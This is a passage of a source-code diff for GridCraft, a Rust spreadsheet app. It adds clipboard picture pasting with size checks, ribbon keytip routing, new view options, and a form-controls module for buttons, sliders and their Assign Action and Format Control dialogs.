fn general_fit() {
assert_eq!(format_general_fit(1e11, 11).as_deref(), Some("1E+11"));
assert_eq!(format_general_fit(12345678901.0, 11).as_deref(), Some("12345678901"));
// A huge width neither allocates width-sized padding nor changes the text.
assert_eq!(format_general_fit(1.5, usize::MAX).as_deref(), Some("1.5"));
assert_eq!(format_general_fit(123456789012.0, 11).as_deref(), Some("1.23457E+11"));
assert_eq!(format_general_fit(0.1 + 0.2, 11).as_deref(), Some("0.3"));
assert_eq!(format_general_fit(1.0 / 3.0, 11).as_deref(), Some("0.333333333"));
+1
View File
@@ -18,6 +18,7 @@ gridcraft-chart = { workspace = true }
# this feature. The UI draws ✕, ◀, ↘ and 📋 as text; without these faces the strict kittest
# harness (and a host with no symbol font) renders them as tofu.
egui = { workspace = true, features = ["default_fonts", "monochrome_emoji_fonts"] }
egui_extras = { workspace = true }
serde = { workspace = true }
serde_json = { workspace = true }
log = { workspace = true }
+6 -1
View File
@@ -107,7 +107,9 @@ impl SheetApp {
pub fn logic(&mut self, ctx: &egui::Context) {
self.ensure_text_width(ctx);
// A keytip control request lives one frame: the ribbon consumes it during `ui`, and
// anything that never reached a control (collapsed ribbon, tab switch) is dropped.
// anything that never reached a control (collapsed ribbon, tab switch) is dropped. One
// made with a switch to the control's tab waits, with its window, for the next `ui` of
// that window.
self.ui.keytip_invoke = None;
// Floating pictures' textures go with their workbook, even when no sheet is painted.
let open: Vec<u64> = self.session.documents().iter().map(|d| d.uid).collect();
@@ -194,6 +196,9 @@ impl SheetApp {
let t0 = now_ms();
// A script may have switched windows since the last frame.
self.follow_active_window();
// This window's key tip request that waited for this frame (its tab or ribbon was just
// shown); any other window's request was dropped before it.
self.ui.keytip_invoke = self.ui.keytip_invoke_next.take();
text_box::before_ui(self, &ctx);
// Another window came forward without going through a command (which settles drafts
// first): the draft goes into its own window instead of floating over this one. If its
+58 -3
View File
@@ -48,12 +48,41 @@ impl SheetApp {
}
/// Ribbon and menu Paste: paste the text on the system clipboard, as Cmd/Ctrl+V does. With no
/// text there, no host clipboard (web), or the text that was there when GridCraft last copied
/// without publishing, GridCraft's own clipboard is pasted.
/// text there but a picture, the picture is pasted. With neither, no host clipboard (web), or
/// the text that was there when GridCraft last copied without publishing, GridCraft's own
/// clipboard is pasted.
pub fn paste_from_clipboard(&mut self) {
match self.system_clipboard_text() {
Some(text) if self.session.clipboard.is_none() || self.clipboard_text_at_copy.as_ref() != Some(&text) => self.paste_external(text),
_ => self.run_or_alert("edit.paste", json!({})),
Some(_) => self.run_or_alert("edit.paste", json!({})),
None => match self.services.paste_image.as_mut().and_then(|read| read()) {
Some(image) => self.paste_picture(image),
None => self.run_or_alert("edit.paste", json!({})),
},
}
}
/// Paste a picture from the system clipboard (a screenshot, an image copied in a browser) as
/// a floating picture whose top-left corner is the active cell, as Excel does.
pub fn paste_picture(&mut self, image: image::RgbaImage) {
match encode_png(&image) {
Ok(png) => self.run_or_alert("insert.picture", json!({"base64": gridcraft_engine::io::base64_encode(&png), "mime": "image/png"})),
Err(e) => self.alert(e),
}
}
/// Cmd/Ctrl+V with a picture and no text on the clipboard (egui's `Event::PasteImage`).
pub fn paste_color_image(&mut self, image: &egui::ColorImage) {
let [w, h] = image.size;
// A side too large for u32 is too large to paste; check before copying the pixels.
let (w, h) = (u32::try_from(w).unwrap_or(u32::MAX), u32::try_from(h).unwrap_or(u32::MAX));
if let Err(e) = check_picture_size(w, h) {
return self.alert(e);
}
let rgba = image.pixels.iter().flat_map(|c| c.to_srgba_unmultiplied()).collect();
match image::RgbaImage::from_raw(w, h, rgba) {
Some(image) => self.paste_picture(image),
None => self.alert("The picture on the clipboard can't be read.".into()),
}
}
@@ -75,3 +104,29 @@ impl SheetApp {
}
}
}
/// Largest clipboard picture pasted, per side and in total (an 8K screenshot fits).
const MAX_PICTURE_SIDE: u32 = 16_384;
const MAX_PICTURE_PIXELS: u64 = 64 * 1024 * 1024;
/// Refuse empty clipboard pictures and sizes that would exhaust memory.
fn check_picture_size(w: u32, h: u32) -> Result<(), String> {
if w == 0 || h == 0 {
return Err("The picture on the clipboard is empty.".into());
}
if w > MAX_PICTURE_SIDE || h > MAX_PICTURE_SIDE || u64::from(w) * u64::from(h) > MAX_PICTURE_PIXELS {
return Err("The picture on the clipboard is too large to paste.".into());
}
Ok(())
}
/// PNG bytes of a clipboard picture, refusing sizes that would exhaust memory.
fn encode_png(image: &image::RgbaImage) -> Result<Vec<u8>, String> {
let (w, h) = image.dimensions();
check_picture_size(w, h)?;
let mut png = Vec::new();
image
.write_to(&mut std::io::Cursor::new(&mut png), image::ImageFormat::Png)
.map_err(|e| format!("The picture on the clipboard can't be pasted: {e}"))?;
Ok(png)
}
+17 -2
View File
@@ -163,8 +163,19 @@ impl SheetApp {
Ok(Json::Null)
}
"view.expandFormulaBar" => {
self.ui.formula_bar_expanded = p.get("on").and_then(Json::as_bool).unwrap_or(!self.ui.formula_bar_expanded);
Ok(json!({"on": self.ui.formula_bar_expanded}))
// `lines` is where a drag of the bar's bottom edge left it: one line collapses it,
// more expands it to that height, which expanding returns to afterwards.
if let Some(lines) = p.get("lines").and_then(Json::as_u64) {
let lines = usize::try_from(lines).unwrap_or(usize::MAX).clamp(1, crate::formula_bar::MAX_DRAG_LINES);
self.ui.formula_bar_expanded = lines > 1;
if lines > 1 {
self.ui.formula_bar_lines = lines;
}
Ok(json!({"on": self.ui.formula_bar_expanded, "lines": self.ui.formula_bar_lines}))
} else {
self.ui.formula_bar_expanded = p.get("on").and_then(Json::as_bool).unwrap_or(!self.ui.formula_bar_expanded);
Ok(json!({"on": self.ui.formula_bar_expanded}))
}
}
"view.darkMode" => {
let current = if self.ui.system_theme { self.effective_dark } else { self.ui.dark };
@@ -191,6 +202,10 @@ impl SheetApp {
self.ui.autocomplete = p.get("on").and_then(Json::as_bool).unwrap_or(!self.ui.autocomplete);
Ok(json!({"on": self.ui.autocomplete}))
}
"options.highlightActiveRow" => {
self.ui.highlight_active_row = p.get("on").and_then(Json::as_bool).unwrap_or(!self.ui.highlight_active_row);
Ok(json!({"on": self.ui.highlight_active_row}))
}
"view.interfaceScale" => {
// `{"percent": 125}` or `{"percent": "auto"}`; out-of-range values are clamped.
let percent = match p.get("percent") {
+16 -1
View File
@@ -59,7 +59,22 @@ impl SheetApp {
// Route to the ribbon control that owns this keytip: it opens its dropdown or
// runs its click handler with the right params (the engine command alone would
// be missing them).
keytips::Action::Control(id) => self.ui.keytip_invoke = Some(id),
//
// A control on another tab (a legacy menu key such as Alt+I, S for the Symbol
// gallery) shows its tab first, so the control is drawn and takes the request.
keytips::Action::Control(id) => {
// A collapsed ribbon draws no controls either: it is expanded the same way.
let other_tab = gridcraft_engine::find_command(id).and_then(|c| c.menu.first()).filter(|t| **t != self.ui.ribbon_tab);
if other_tab.is_some() || self.ui.ribbon_collapsed {
if let Some(tab) = other_tab {
self.run_or_alert("ui.ribbonTab", json!({"tab": tab}));
}
self.ui.ribbon_collapsed = false;
self.ui.keytip_invoke_next = Some(id);
} else {
self.ui.keytip_invoke = Some(id);
}
}
}
}
}
+20 -2
View File
@@ -2,7 +2,8 @@ use super::{Key, Language, Modifiers, SheetApp, Ui, dim, i18n, json, section, ve
/// Excel's File › Options page: General (display theme, interface language and Show formula bar),
/// Editing (AutoComplete) and Save (the autosave checkbox toggling `app.ui.autosave`), plus Formulas
/// (calculation mode and iterative calculation) when a document is active. Theme, language, formula
/// (calculation mode and iterative calculation) and the display options for this workbook (sheet
/// tabs and scroll bars) when a document is active. Theme, language, formula
/// bar, AutoComplete and calculation changes run their commands through `run_or_alert`; calculation
/// settings are saved with the workbook.
pub(super) fn options(app: &mut SheetApp, ui: &mut Ui) {
@@ -14,6 +15,10 @@ pub(super) fn options(app: &mut SheetApp, ui: &mut Ui) {
if ui.checkbox(&mut formula_bar, lang.tr("Show formula bar")).changed() {
app.run_or_alert("view.formulaBar", json!({"on": formula_bar}));
}
let mut highlight_row = app.ui.highlight_active_row;
if ui.checkbox(&mut highlight_row, lang.tr("Highlight the active cell's row")).changed() {
app.run_or_alert("options.highlightActiveRow", json!({"on": highlight_row}));
}
ui.add_space(18.0);
section(ui, lang, "Options|Editing");
let mut autocomplete = app.ui.autocomplete;
@@ -26,7 +31,20 @@ pub(super) fn options(app: &mut SheetApp, ui: &mut Ui) {
if ui.checkbox(&mut autosave, lang.tr("Save .xlsx workbooks automatically after every change")).changed() {
app.toggle_autosave();
}
let Some(calc) = app.session.active().map(|d| d.wb.calc.clone()) else { return };
let Some((calc, view)) = app.session.active().map(|d| (d.wb.calc.clone(), d.wb.view)) else { return };
ui.add_space(18.0);
// Excel's Advanced › Display options for this workbook: saved with the workbook (#3101).
section(ui, lang, "Display options for this workbook");
for (on, label, id) in [
(view.show_horizontal_scroll, "Show horizontal scroll bar", "view.showHorizontalScrollBar"),
(view.show_vertical_scroll, "Show vertical scroll bar", "view.showVerticalScrollBar"),
(view.show_sheet_tabs, "Show sheet tabs", "view.showSheetTabs"),
] {
let mut on = on;
if ui.checkbox(&mut on, lang.tr(label)).changed() {
app.run_or_alert(id, json!({"on": on}));
}
}
ui.add_space(18.0);
section(ui, lang, "Formulas");
ui.label(lang.tr("Workbook calculation"));
+31 -6
View File
@@ -1,5 +1,5 @@
//! Floating objects on the sheet: charts (rendered by `gridcraft-chart` into primitives that
//! we paint with egui), pictures, shapes, equations and slicers.
//! we paint with egui), pictures, shapes, equations, slicers and form controls (`form_controls.rs`).
use egui::epaint::{PathShape, PathStroke};
use egui::{Align2, Color32, FontId, Painter, Pos2, Rect, Stroke, StrokeKind, pos2, vec2};
@@ -316,11 +316,12 @@ pub(crate) fn paint_objects(app: &SheetApp, p: &Painter, geo: &Geo, wb: &Workboo
p.add(PathShape::convex_polygon(vec![pos2(r.center().x, r.top()), r.right_bottom(), r.left_bottom()], fill, Stroke::new(1.0, line)));
}
ShapeKind::Ink => {
let w = gridcraft_engine::cmd::draw::ink_width(sp) * geo.z;
let pt = gridcraft_engine::cmd::draw::ink_width(sp);
let w = pt * geo.z;
let pts: Vec<Pos2> =
gridcraft_engine::cmd::draw::ink_points(sp).iter().map(|q| pos2(r.left() + q[0] * geo.z, r.top() + q[1] * geo.z)).collect();
if pts.len() >= 2 {
let col = if w > 8.0 { line.gamma_multiply(0.45) } else { line };
let col = ink_color(line, pt);
p.add(PathShape::line(pts, PathStroke::new(w, col)));
}
label = false;
@@ -380,6 +381,18 @@ pub(crate) fn paint_objects(app: &SheetApp, p: &Painter, geo: &Geo, wb: &Workboo
done(start, r);
}
paint_slicers(p, geo, wb, si, sh);
// Form controls sit above every other object.
let hover = p.ctx().input(|i| i.pointer.hover_pos()).map(|h| geo.mirror_pos(h)).filter(|h| geo.in_cells(*h));
for c in &sh.controls {
let r = anchor_rect(geo, sh, &c.anchor);
// A slider's value shows beside it while it is dragged.
if !r.expand(24.0).intersects(p.clip_rect()) {
continue;
}
let start = p.add(egui::Shape::Noop);
crate::form_controls::paint(p, r, c, geo.z, crate::form_controls::look(app, geo, c, r, hover));
done(start, r);
}
// The selected object's frame and handles go over every object, and move with it on a
// right-to-left sheet.
if let Some(r) = app.selected_object.and_then(|o| object_rect(geo, sh, o))
@@ -522,13 +535,19 @@ pub fn selected_handle(app: &SheetApp, geo: &Geo, sh: &Sheet, p: Pos2) -> Option
crate::objects::handle_at(r, p).map(|h| (o, r, h))
}
/// The topmost object under `p` and its rect: slicers paint on top, so they are hit first, then
/// charts, pictures and shapes (equations included), each from the top of its stack. Nothing is hit outside the cell
/// area or while objects are hidden.
/// The topmost object under `p` and its rect: form controls paint on top, so they are hit first,
/// then slicers, charts, pictures and shapes (equations included), each from the top of its stack.
/// Nothing is hit outside the cell area or while objects are hidden.
pub fn hit(app: &SheetApp, geo: &Geo, sh: &Sheet, p: Pos2) -> Option<(ObjRef, Rect)> {
if !geo.cells.contains(p) || app.session.active().is_some_and(|d| objects_hidden(&d.wb)) {
return None;
}
for c in sh.controls.iter().rev() {
let r = anchor_rect(geo, sh, &c.anchor);
if r.contains(p) {
return Some((ObjRef::new(ObjKind::Control, c.id), r));
}
}
for sl in sh.slicers.iter().rev() {
let r = anchor_rect(geo, sh, &sl.anchor);
if r.contains(p) {
@@ -556,3 +575,9 @@ pub fn hit(app: &SheetApp, geo: &Geo, sh: &Sheet, p: Pos2) -> Option<(ObjRef, Re
}
None
}
/// The colour ink is painted in: a highlighter (a stroke over 8 pt wide) is translucent, by its
/// width in points, so the live pen stroke and the committed ink agree at every zoom.
pub(crate) fn ink_color(line: Color32, width_pt: f32) -> Color32 {
if width_pt > 8.0 { line.gamma_multiply(0.45) } else { line }
}
+6 -1
View File
@@ -263,12 +263,17 @@ pub fn handle(app: &mut SheetApp, ctx: &egui::Context, method: &str, p: &Json) -
("ui.ribbonTab", "Ribbon Tab", ""),
("app.checkForUpdates", "Check for Updates…", ""),
("view.collapseRibbon", "Collapse Ribbon", ""),
("view.expandFormulaBar", "Expand Formula Bar", "{on?: bool} (toggles without it) → {on}"),
(
"view.expandFormulaBar",
"Expand Formula Bar",
"{on?: bool} (toggles without it) → {on}; {lines: int} sets the expanded height (1 collapses) → {on, lines}",
),
("ui.pythonMode", "Python Mode", "{on?: bool} (toggles without it) → {on}; a refused start is an error"),
("view.darkMode", "Dark Mode", ""),
("view.theme", "Display Theme", ""),
("view.animations", "Animations", "{on?: bool} (toggles without it) → {on}"),
("options.autoComplete", "Enable AutoComplete for cell values", "{on?: bool} (toggles without it) → {on}"),
("options.highlightActiveRow", "Highlight the active cell's row", "{on?: bool} (toggles without it) → {on}"),
("view.interfaceScale", "Interface Size", "{percent: 75–200 | \"auto\"} (100 = auto; clamped)"),
("ui.dialog", "Open Dialog", ""),
("ui.backstage", "File (Backstage view)", "{page?: home|new|open|info|saveAs|print|export|options|account|close}"),
+569
View File
@@ -0,0 +1,569 @@
//! Form controls in the window, apart from drawing them: placing a new control (draw it on the
//! grid, or click for the default size), pressing a button and answering its questions, the
//! control's context menu (Edit Text, Assign Action, Format Control, Delete), and the Assign
//! Action and Format Control dialogs. Everything goes through the `insert.*` and `control.*`
//! commands.
use egui::{Pos2, Rect, Stroke, StrokeKind, Ui, vec2};
use gridcraft_engine::core::CellRef;
use gridcraft_engine::macros::policy::{Policy, macro_policy};
use gridcraft_engine::model::{CONTROL_MAX, ControlAction, ControlKind, FormControl, MacroInput, ObjKind, ObjRef, Sheet};
use serde_json::{Value as Json, json};
use crate::SheetApp;
use crate::dialogs::Dialog;
use crate::grid::Geo;
use crate::theme::Tokens;
/// The control `id` on the active sheet.
pub fn control(app: &SheetApp, id: u32) -> Option<FormControl> {
app.session.active()?.wb.active()?.controls.iter().find(|c| c.id == id).cloned()
}
/// Whether the control `id` on the active sheet is a button (its menu adds Edit Text and Assign
/// Action).
pub fn is_button(app: &SheetApp, id: u32) -> bool {
app.session.active().and_then(|d| d.wb.active()).is_some_and(|sh| sh.controls.iter().any(|c| c.id == id && c.kind == ControlKind::Button))
}
fn insert_id(kind: ControlKind) -> &'static str {
match kind {
ControlKind::Button => "insert.button",
ControlKind::Slider => "insert.slider",
ControlKind::Spin => "insert.spinButton",
}
}
/// The cell under a logical grid position and the offset into it, in sheet points.
fn cell_point(geo: &Geo, sh: &Sheet, p: Pos2) -> (CellRef, f32, f32) {
let (col, row) = (geo.col_at(sh, p.x), geo.row_at(sh, p.y));
let dx = ((p.x - geo.x(sh, col)) / geo.z).max(0.0);
let dy = ((p.y - geo.y(sh, row)) / geo.z).max(0.0);
(CellRef::new(row, col), dx, dy)
}
/// Insert › Controls placement: while a kind is armed, a drag on the grid draws the control and a
/// click places it at its default size. Escape disarms. True when it used the pointer.
pub fn place(app: &mut SheetApp, ui: &Ui, resp: &egui::Response, geo: &Geo, sh: &Sheet) -> bool {
let Some(kind) = app.grid.placing else {
app.grid.place_start = None;
return false;
};
let ctx = ui.ctx().clone();
if ctx.input(|i| i.key_pressed(egui::Key::Escape)) {
app.grid.placing = None;
app.grid.place_start = None;
return true;
}
let pointer = ctx.input(|i| i.pointer.clone());
// Logical positions (see `Geo::rtl`).
let pos = pointer.interact_pos().or(pointer.hover_pos()).map(|p| geo.mirror_pos(p));
if pos.is_some_and(|p| geo.in_cells(p)) {
ctx.set_cursor_icon(egui::CursorIcon::Crosshair);
}
if pointer.primary_pressed()
&& resp.contains_pointer()
&& let Some(p) = pointer.press_origin().map(|p| geo.mirror_pos(p)).or(pos).filter(|p| geo.in_cells(*p))
{
app.grid.place_start = Some(p);
}
let Some(start) = app.grid.place_start else { return resp.contains_pointer() && pointer.any_down() };
let rect = Rect::from_two_pos(start, pos.unwrap_or(start));
if pointer.primary_down() {
let t = Tokens::get(&ctx);
ui.painter().rect_stroke(geo.mirror_rect(rect), 2.0, Stroke::new(1.0, t.sheet_control_border), StrokeKind::Inside);
return true;
}
app.grid.place_start = None;
app.grid.placing = None;
let (cell, dx, dy) = cell_point(geo, sh, rect.min);
let mut params = json!({"at": cell.a1(), "dx": dx, "dy": dy});
// A drag sets the size (and a slider's orientation); a click keeps the default size.
if rect.width() >= 6.0 || rect.height() >= 6.0 {
params["width"] = json!((rect.width() / geo.z).max(8.0));
params["height"] = json!((rect.height() / geo.z).max(8.0));
if kind == ControlKind::Slider {
params["horizontal"] = json!(rect.width() >= rect.height());
}
}
match app.run(insert_id(kind), params) {
Ok(v) => {
if let Some(id) = v["control"].as_u64().and_then(|id| u32::try_from(id).ok()) {
app.selected_object = Some(ObjRef::new(ObjKind::Control, id));
// A new button asks what it should run, as Excel's Assign Macro does.
if kind == ControlKind::Button {
app.open_dialog("assignAction", json!({"id": id}));
}
}
}
Err(e) => app.message = Some(("Insert Control".into(), crate::clean_error(&e))),
}
true
}
/// Opens a control's editor (double-click): a button's text, else Format Control.
pub fn edit(app: &mut SheetApp, id: u32) {
match control(app, id).map(|c| c.kind) {
Some(ControlKind::Button) => app.open_dialog("formatControl", json!({"id": id, "textOnly": true})),
Some(_) => app.open_dialog("formatControl", json!({"id": id})),
None => {}
}
}
// ---------------------------------------------------------------- pressing a button
/// The question in an `approve: …` error, if it is one.
fn approve_text(e: &str) -> Option<String> {
let rest = e.split_once("approve: ")?.1;
Some(rest.split_once(" (run again with").map_or(rest, |(q, _)| q).to_string())
}
/// The question in a `confirm: …` error, if it is one.
fn confirm_text(e: &str) -> Option<String> {
let rest = e.split_once("confirm: ")?.1;
Some(rest.split_once(" (run again with").map_or(rest, |(q, _)| q).to_string())
}
/// What a press of the button `params` names would run, as text: the workbook, the sheet, the
/// button, its action, the content of the macro it runs, and the selection (a macro on the
/// selection, or a command without a range, works there). `None` when the active sheet has no
/// such button. A question is answered only while this is unchanged, so an answer never applies
/// to an action other than the one it asked about.
fn press_binding(app: &SheetApp, params: &Json) -> Option<String> {
let id = params.get("id").and_then(Json::as_u64).and_then(|i| u32::try_from(i).ok())?;
let d = app.session.active()?;
let sheet = d.wb.active_sheet();
let sh = d.wb.sheet(sheet)?;
let c = sh.controls.iter().find(|c| c.id == id && c.kind == ControlKind::Button)?;
let mac = match &c.action {
Some(ControlAction::Macro { name, .. }) => {
gridcraft_engine::macros::find(&d.wb, name).and_then(|i| d.wb.macros.get(i)).map(gridcraft_engine::macros::fingerprint)
}
_ => None,
};
Some(
json!({
"doc": d.uid,
"sheet": sheet,
"sheetName": sh.name,
"control": id,
"action": c.action,
"macro": mac,
"selection": d.selection,
})
.to_string(),
)
}
/// Presses a button (`control.press` with `params`). A question (approve the action, or make
/// room for a macro's output) opens a prompt whose buttons press it again with the answer, bound
/// to what the question was about (see [`press_binding`]); any other error shows in a message
/// box.
pub fn press(app: &mut SheetApp, params: Json) {
let bound = press_binding(app, &params);
let Err(e) = app.run("control.press", params.clone()) else { return };
let (text, choices) = if let Some(q) = approve_text(&e) {
(q, json!([["Run", {"approve": true}]]))
} else if let Some(q) = confirm_text(&e) {
let what = q.split_once(" Overwrite them").map_or(q.as_str(), |(a, _)| a).trim_end_matches(['.', ' ']).to_string();
(
format!("{what}. Overwrite them, or move the data out of the way?"),
json!([["Overwrite", {"onConflict": "overwrite"}], ["Shift Down", {"onConflict": "shiftDown"}], ["Shift Right", {"onConflict": "shiftRight"}]]),
)
} else {
app.message = Some(("Button".into(), crate::clean_error(&e)));
return;
};
app.open_dialog("controlQuestion", json!({"text": text, "params": params, "choices": choices, "bound": bound}));
}
pub fn open_question(params: &Json) -> Option<Dialog> {
let text = params.get("text").and_then(Json::as_str)?;
let v = json!({
"text": text,
"params": params.get("params").cloned().unwrap_or_else(|| json!({})),
"choices": params.get("choices").cloned().unwrap_or_else(|| json!([])),
"bound": params.get("bound").and_then(Json::as_str),
});
Some(Dialog::custom("controlQuestion", "Button", v))
}
/// The prompt [`press`] opens: the question, a button per answer, and Cancel.
pub fn question_dialog(app: &mut SheetApp, ui: &mut Ui, d: &mut Dialog, open: &mut bool) {
ui.label(val(d, "text"));
ui.add_space(8.0);
let choices: Vec<(String, Json)> = d
.values
.get("choices")
.and_then(Json::as_array)
.map(|a| a.iter().filter_map(|c| Some((c.get(0)?.as_str()?.to_string(), c.get(1)?.clone()))).collect())
.unwrap_or_default();
let mut answer = None;
ui.with_layout(egui::Layout::right_to_left(egui::Align::Center), |ui| {
if ui.button(" Cancel ").clicked() {
*open = false;
}
for (label, extra) in choices.iter().rev() {
if ui.button(format!(" {label} ")).clicked() {
answer = Some(extra.clone());
}
}
});
if let Some(extra) = answer {
*open = false;
let mut params = d.values.get("params").cloned().unwrap_or_else(|| json!({}));
// The answer is for the action the question named: if the workbook, the sheet, the
// button, its action, its macro or the selection changed meanwhile (an agent reassigned
// it), nothing runs, and the next press asks about what it runs now.
let asked = d.values.get("bound").and_then(Json::as_str);
let now = press_binding(app, &params);
if asked.is_none() || asked != now.as_deref() {
let why = if now.is_none() {
"The button is gone, so nothing ran."
} else {
"The button changed while the question was open, so nothing ran. Press it again to see what it runs now."
};
app.message = Some(("Button".into(), why.into()));
return;
}
if let (Some(p), Some(x)) = (params.as_object_mut(), extra.as_object()) {
for (k, v) in x {
p.insert(k.clone(), v.clone());
}
}
press(app, params);
}
}
// ---------------------------------------------------------------- Assign Action
fn val(d: &Dialog, key: &str) -> String {
d.values.get(key).and_then(Json::as_str).unwrap_or("").to_string()
}
/// The workbook's macros: (name, description).
fn macros(app: &SheetApp) -> Vec<(String, String)> {
app.session.active().map(|d| d.wb.macros.iter().map(|m| (m.name.clone(), m.description.clone())).collect()).unwrap_or_default()
}
/// Assign Action: a macro (on the selection or a fixed range, with an optional output cell) or a
/// command with its parameters.
pub fn open_assign(app: &SheetApp, params: &Json) -> Option<Dialog> {
let id = params.get("id").and_then(Json::as_u64).and_then(|i| u32::try_from(i).ok())?;
let c = control(app, id)?;
let mut v =
json!({"id": id, "mode": "macro", "macro": "", "input": "selection", "range": "", "output": "", "command": "", "params": "{}", "search": ""});
match &c.action {
Some(ControlAction::Macro { name, input, output }) => {
v["macro"] = json!(name);
if let MacroInput::Fixed(r) = input {
v["input"] = json!("fixed");
v["range"] = json!(r);
}
v["output"] = json!(output.clone().unwrap_or_default());
}
Some(ControlAction::Command { id, params }) => {
v["mode"] = json!("command");
v["command"] = json!(id);
v["params"] = json!(serde_json::to_string_pretty(params).unwrap_or_else(|_| "{}".into()));
}
None => {
// A new button suggests the workbook's first macro.
v["macro"] = json!(macros(app).first().map(|m| m.0.clone()).unwrap_or_default());
}
}
Some(Dialog::custom("assignAction", &format!("Assign Action: {}", c.display_name()), v))
}
/// The `control.assign` params the dialog describes, or why it can't yet.
pub fn assign_params(d: &Dialog) -> Result<Json, String> {
let id = d.values.get("id").cloned().unwrap_or(Json::Null);
if val(d, "mode") == "command" {
let command = val(d, "command");
if command.trim().is_empty() {
return Err("Choose a command.".into());
}
let text = val(d, "params");
let params: Json = if text.trim().is_empty() {
json!({})
} else {
serde_json::from_str(&text).map_err(|e| format!("The parameters aren't valid JSON: {e}"))?
};
if !params.is_object() {
return Err("The parameters must be a JSON object, such as {\"range\": \"A1:B2\"}.".into());
}
return Ok(json!({"id": id, "command": command.trim(), "params": params}));
}
let name = val(d, "macro");
if name.trim().is_empty() {
return Err("Type or choose a macro name.".into());
}
let input = if val(d, "input") == "fixed" { val(d, "range") } else { "selection".into() };
if input.trim().is_empty() {
return Err("Type the range the macro always runs on.".into());
}
Ok(json!({"id": id, "macro": name.trim(), "input": input.trim(), "output": val(d, "output").trim()}))
}
/// Commands a button may run whose id or label contains `search` (every one when it is empty):
/// (id, label). File commands are left out: the ones a button may run only produce bytes.
fn command_choices(search: &str) -> Vec<(&'static str, &'static str)> {
let q = search.trim().to_lowercase();
gridcraft_engine::command_specs()
.iter()
.filter(|c| c.journal && !c.id.starts_with("file."))
.filter(|c| !matches!(macro_policy(c.id, &json!({}), gridcraft_engine::Trust::Local), Policy::Deny(_)))
.filter(|c| q.is_empty() || c.id.to_lowercase().contains(&q) || c.label.to_lowercase().contains(&q))
.map(|c| (c.id, c.label))
.take(200)
.collect()
}
fn text_field(ui: &mut Ui, d: &mut Dialog, key: &str, width: f32) {
let mut s = val(d, key);
ui.add(egui::TextEdit::singleline(&mut s).desired_width(width).id_salt(("control_dialog", key.to_string())));
d.values.insert(key.into(), json!(s));
}
pub fn assign_dialog(app: &mut SheetApp, ui: &mut Ui, d: &mut Dialog, open: &mut bool) {
let t = Tokens::get(ui.ctx());
let mut mode = val(d, "mode");
ui.horizontal(|ui| {
ui.radio_value(&mut mode, "macro".to_string(), "Run a macro");
ui.radio_value(&mut mode, "command".to_string(), "Run a command");
});
d.values.insert("mode".into(), json!(mode));
ui.add_space(4.0);
if mode == "macro" {
let macros = macros(app);
let mut name = val(d, "macro");
ui.label("Macro name:");
ui.add(egui::TextEdit::singleline(&mut name).desired_width(f32::INFINITY).id_salt("assign_macro"));
egui::Frame::NONE.fill(t.input_bg).stroke(Stroke::new(1.0, t.input_border)).inner_margin(2.0).show(ui, |ui| {
ui.set_min_size(vec2(ui.available_width(), 110.0));
egui::ScrollArea::vertical().max_height(110.0).show(ui, |ui| {
if macros.is_empty() {
ui.label(egui::RichText::new("This workbook has no macros yet.").italics().color(t.text_dim));
}
for (n, desc) in &macros {
let r =
ui.add(egui::Button::selectable(n.eq_ignore_ascii_case(name.trim()), n.as_str()).min_size(vec2(ui.available_width(), 20.0)));
let r = if desc.is_empty() { r } else { r.on_hover_text(desc) };
if r.clicked() {
name = n.clone();
}
}
});
});
d.values.insert("macro".into(), json!(name));
ui.add_space(4.0);
let mut input = val(d, "input");
ui.label("Run it on:");
ui.radio_value(&mut input, "selection".to_string(), "The selection when the button is pressed");
ui.horizontal(|ui| {
ui.radio_value(&mut input, "fixed".to_string(), "Always this range:");
if input == "fixed" {
text_field(ui, d, "range", 160.0);
}
});
d.values.insert("input".into(), json!(input));
ui.horizontal(|ui| {
ui.label("Output to (optional):");
text_field(ui, d, "output", 120.0);
});
} else {
let mut search = val(d, "search");
let command = val(d, "command");
ui.label("Command:");
ui.add(egui::TextEdit::singleline(&mut search).hint_text("Search commands").desired_width(f32::INFINITY).id_salt("assign_search"));
egui::Frame::NONE.fill(t.input_bg).stroke(Stroke::new(1.0, t.input_border)).inner_margin(2.0).show(ui, |ui| {
ui.set_min_size(vec2(ui.available_width(), 130.0));
egui::ScrollArea::vertical().max_height(130.0).show(ui, |ui| {
for (cid, label) in command_choices(&search) {
let text = format!("{label} ({cid})");
if ui.add(egui::Button::selectable(cid == command, text).min_size(vec2(ui.available_width(), 20.0))).clicked() {
d.values.insert("command".into(), json!(cid));
}
}
});
});
d.values.insert("search".into(), json!(search));
let doc = gridcraft_engine::find_command(val(d, "command").trim()).map(|c| c.params).unwrap_or("");
if !doc.is_empty() {
ui.label(egui::RichText::new(doc).small().color(t.text_dim));
}
ui.label("Parameters (JSON):");
let mut params = val(d, "params");
ui.add(egui::TextEdit::multiline(&mut params).code_editor().desired_rows(3).desired_width(f32::INFINITY).id_salt("assign_params"));
d.values.insert("params".into(), json!(params));
}
let problem = assign_params(d).err();
if let Some(p) = &problem {
ui.label(egui::RichText::new(p).color(t.danger));
}
let (ok, cancel) = ok_cancel(ui, problem.is_none());
if cancel || (ok && assign(app, d)) {
*open = false;
}
}
/// OK (offered while `enabled`) and Cancel at the bottom right, as the other dialogs place them:
/// (OK clicked, Cancel clicked).
fn ok_cancel(ui: &mut Ui, enabled: bool) -> (bool, bool) {
let (mut ok, mut cancel) = (false, false);
ui.add_space(8.0);
ui.with_layout(egui::Layout::right_to_left(egui::Align::Center), |ui| {
let t = Tokens::get(ui.ctx());
ok = ui.add_enabled(enabled, egui::Button::new(egui::RichText::new(" OK ").color(t.on_accent)).fill(t.accent)).clicked();
cancel = ui.button(" Cancel ").clicked();
});
(ok, cancel)
}
/// Runs `control.assign` from the dialog. False (with the error shown) when it failed.
fn assign(app: &mut SheetApp, d: &Dialog) -> bool {
let result = assign_params(d).and_then(|params| app.run("control.assign", params).map_err(|e| crate::clean_error(&e)));
match result {
Ok(_) => true,
Err(e) => {
app.message = Some(("Assign Action".into(), e));
false
}
}
}
// ---------------------------------------------------------------- Format Control
/// Format Control: a slider's or spin button's cell link, value and limits (orientation and page
/// change for sliders); a button's text. `textOnly` shows just the text (Edit Text).
pub fn open_format(app: &SheetApp, params: &Json) -> Option<Dialog> {
let id = params.get("id").and_then(Json::as_u64).and_then(|i| u32::try_from(i).ok())?;
let c = control(app, id)?;
let text_only = params.get("textOnly").and_then(Json::as_bool) == Some(true) && c.kind == ControlKind::Button;
let v = json!({
"id": id,
"textOnly": text_only,
"text": c.text,
"name": c.name,
"value": c.value.to_string(),
"min": c.min.to_string(),
"max": c.max.to_string(),
"step": c.step.to_string(),
"page": c.page.to_string(),
"link": c.link.clone().unwrap_or_default(),
